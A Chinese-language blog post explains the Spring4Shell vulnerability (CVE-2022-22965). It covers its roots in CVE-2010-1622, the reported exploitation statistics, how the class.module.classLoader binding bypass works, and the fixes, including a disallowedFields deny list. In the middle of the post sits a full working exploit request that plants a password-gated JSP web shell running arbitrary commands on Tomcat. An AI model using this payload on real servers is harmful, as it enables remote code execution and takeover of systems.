log4j漏洞的好搭档Spring4Shell
各位,今天来跟大家说一下Spring4Shell这个漏洞,这个漏洞可能大家都已经听过,但是!它其实也有前世今生的,并不是突然的出现。
1. 漏洞的前世今生
1.1 曾经的名字:CVE-2010-1622
这个漏洞在2010年其实就已经出现过一次,那个时候它的名字叫:CVE-2010-1622,而这次的CVE-2022-22965和CVE-2010-1622暴雷的代码块也是在同一个地方。
在这次Spring4Shell漏洞最早被发现是2022年3月31号的 vmware 的一篇博客:CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+,在这篇博客当中,介绍了这个漏洞会被触发的前提条件:
These are the prerequisites for the exploit:
- JDK 9 or higher(JDK 9以上版本)
- Apache Tomcat as the Servlet container (servlet容器:tomcat)
- Packaged as WAR (打包类型为WAR包)
- spring-webmvc or spring-webflux dependency (包含Spring-webmvc或者spring-webflux依赖)
1.2 最佳拍档 log4j漏洞
可以说现在Spring + Tomcat + WAR的组合仍然是很多的,又因为前段时间log4j的漏洞很多公司升级JDK到JDK9以上,导致这个漏洞在各个公司遍地开花。
在 vmware 发出这个博客不久,Spring就有了专门的一个页面来跟进这个漏洞:Spring Framework RCE, Early Announcement,在这个页面中更加详细的说明了本次CVE-2022-22965影响到的范围。
接着就是CISA(美国网络安全和基础设施安全局)将这个漏洞添加到其基于“主动利用证据”的已知利用漏洞目录中。这是他们官方发布的消息Spring Releases Security Updates Addressing "Spring4Shell" and Spring Cloud Function Vulnerabilities
再接着时间点来到漏洞爆出的第一个周末,Check Point就提到在4月2号一个周末就检测到了37000次Spring4Shell攻击。
Check Point,为一家软件公司,全称Check Point软件技术有限公司,成立于1993年,总部位于以色列特拉维夫,全球首屈一指的 Internet 安全解决方案供应商。
漏洞利用的地区分布方面,欧洲以20%的高居榜首
最受影响力的行业是软件供应商,其中28%的组织受到漏洞的影响 当然你可以通过这个链接找到Check Point报道的更加详细的信息:16% of organizations worldwide impacted by Spring4Shell Zero-day vulnerability exploitation attempts since outbreak
到现在为止我相信还是有很多的在线服务没有进行修复,因为这个漏洞远不如log4j的那个影响传播广泛。正因为如此我们更需要注意到这个漏洞,它是可以直接通过扫描器被发现的,而在阿里云-2019年上半年Web应用安全报告中提到90%以上攻击流量来源于扫描器。
2. 漏洞成因以及修复
以下内容会用到的项目已经放在github上:spring4shelldemo
聊完了到现在为止这个漏洞的进展,作为一个程序员追本溯源的精神,我们扒 一下这个漏洞在代码中干了一些什么,为什么JDK9以上版本才会出现。
但在这之前我们需要知道CVE-2010-1622 成因。
2.1 CVE-2010-1622 成因
在2010年,JDK8的时代已经有了SpringMVC,我们可以通过定义Java bean对象解析用户的请求实现用户提交的参数和类中的参数进行绑定,进行赋值。如下所示:
定义Bean对象,ShoppingCart购物车
package run.runnable.spring4shelldemo.entity;
/**
* @author Asher
* on 2022/4/17 */public class ShoppingCart {
private Integer userId;
private Long total;
public Integer getUserId() {
return userId;
}
public void setUserId(Integer userId) {
this.userId = userId;
}
public Long getTotal() {
return total;
}
public void setTotal(Long total) {
this.total = total;
}
@Override
public String toString() {
return "ShoppingCart{" +
"userId=" + userId +
", total=" + total +
'}';
}
}
然后在Controller中我们写一个方法,用来查询某个用户的购物车中金额价格
package run.runnable.spring4shelldemo.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import run.runnable.spring4shelldemo.entity.ShoppingCart;
import java.util.Map;
/**
* @author Asher
* on 2022/4/17 */@Controller
public class ShoppingCartController {
private final static Logger logger = LoggerFactory.getLogger(ShoppingCartController.class);
@RequestMapping(value = "/total", method = RequestMethod.POST)
@ResponseBody
public ShoppingCart total(@RequestParam Map<String, String> requestparams, ShoppingCart shoppingCart) {
String userId = requestparams.get("userId");
logger.info("userId:{}", userId);
//query from DB
Long total = 100L;
shoppingCart.setTotal(total);
return shoppingCart;
}
}
当我们通过postman或者其他工具进行请求的时候,可以通过form表单进行提交,这样在total
这个方法当中会自己把userId
和ShoppingCart
对象进行绑定,注入userId
这个值
在上面这个截图可以清楚的看到ShoppingCart
中userId
属性已经有了对应的value,这是因为在这个自动的过程中Spring会自动发现ShoppingCart
对象中的public方法和字段,如果ShoppingCart
中出现public的一个字段,就自动绑定,并且允许用户提交请求给他赋值。
正是因为我们的ShoppingCart
类中存在:
public void setUserId(Integer userId) {
this.userId = userId;
}
在Spring自动检索后,将我们传递的值绑定在userId
上
当你了解到上面的操作再来说漏洞的原因就会更加的理解了,在Java对象中,对象存在对应的类对象,例如ShoppingCart
的类对象就是ShoppingCart.class
,类对象中有类加载器,这个类加载器负责了Java对象的类的
加载流程,而在加载的这一个过程当中JVM要完成3件事:
- 通过一个类的全限定名来获取定义此类的二进制字节流。
- 将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。
- 在Java堆中生成一个代表这个类的java.lang.Class对象,作为方法区这些数据的访问入口。
关键点来了JVM它并没有限定二进制流从哪里来,那么我们可以用系统的类加载器,也可以用自己的方式写加载器来控制字节流的获取。
- 从class文件来->一般的文件加载
- 从zip包中来->加载jar中的类
- 从网络中来->Applet
这里顺便说一句,rpc框架远程调用就是这么实现的。
回到类加载器,假设在Spring框架中我们使用类加载器加载了原本不属于这个系统的class,并且执行了这个class当中的方法,不就意味着渗透成功了吗!这就是CVE-2010-1622漏洞的成因。
当我们在请求中带上class.classloader=com.xxx.xxx.class
时,竟然可以控制Spring中的classLoader。不过在上次的漏洞修复中,Spring在CachedIntrospectionResultsc.class
中添加了如下代码进行修复。
如果请求是class对象,并且请求属性时classLoader时,则会进行跳过
2.2 CVE-2022-22965 成因
在上述问题修复之后,2017年9月21日Java9终于发布了,引入了新特性 模块化 Jigsaw,在这个新特性中java.lang.Class
对象中添加了getModule
方法可一个对应的对象module
我们可以看看它的注释:
Returns the module that this class or interface is a member of. If this class represents an array type then this method returns the Module for the element type. If this class represents a primitive type or void, then the Module object for the java.base module is returned. If this class is in an unnamed module then the unnamed Module of the class loader for this class is returned. Returns: the module that this class or interface is a member of
说的是返回这个class或者interface的module,如果这个class是array 类型,此时这个方法返回这个Module的选择器类型。如果这个class是原 始类型或者void,那么将返回java.base模块的Module对象,如果这个类是一个未命名的模块中,那么将返回这个未命名模块的类加载器
这就意味着在Module对象中又存在一个loader
变量和 getClassLoader()
方法,导致用户可以通过ShoppingCart.class.getModule().getClassLoader()
获取classLoader
再次造成漏洞。
通过Module
可以获取Web Context上下文环境的ClassLoader
对象。
所以如果我们对请求添加class.module.classLoader
的参数就可以绕过之前修复的代码。
POST http://localhost:8080/spring4shelldemo_war/total
Header:
Content-Type:application/x-www-form-urlencoded
suffix:%>//
c1:Runtime
c2::<%
RequestBody:
class.module.classLoader.resources.context.parent.pipeline.first.pattern:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix:.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory:webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix:tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat:
header里面的值是需要的, RequestBody中%i
这个语法是从请求的header里面拿xxx,请求之后就会在tomcat的Root目录下生成一个jsp文件
这里需要注意的是,如果你也使用的是IDEA启动,那么生成的文件夹并不是在你下载的tomcat配置目录下,而是在临时目录下,也就是启动时会打印的这个目录
2.3 漏洞修复
这个漏洞的修复在上面提到的Spring页面中也说的很清楚了:Spring Framework RCE, Early Announcement
2.3.1 首选办法
首选响应是更新到Spring Framework 5.3.18和5.2.20或更高。
2.3.2 升级tomcat
升级到Apache Tomcat 10.0.20, 9.0.62, or 8.5.78,但这只是一种紧急的修复手段,主要目标应该是尽快升级到目前支持的Spring框架版本。
2.3.3 回退到Java8
不过你需要注意前段时间抛出log4j的漏洞,参考:集成了log4j的SpringBoot下的漏洞复现
2.3.4 禁用属性
另一个可行的解决方法是通过在WebDataBinder
上全局设置disallowedFields
来禁止对特定字段的绑定。
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}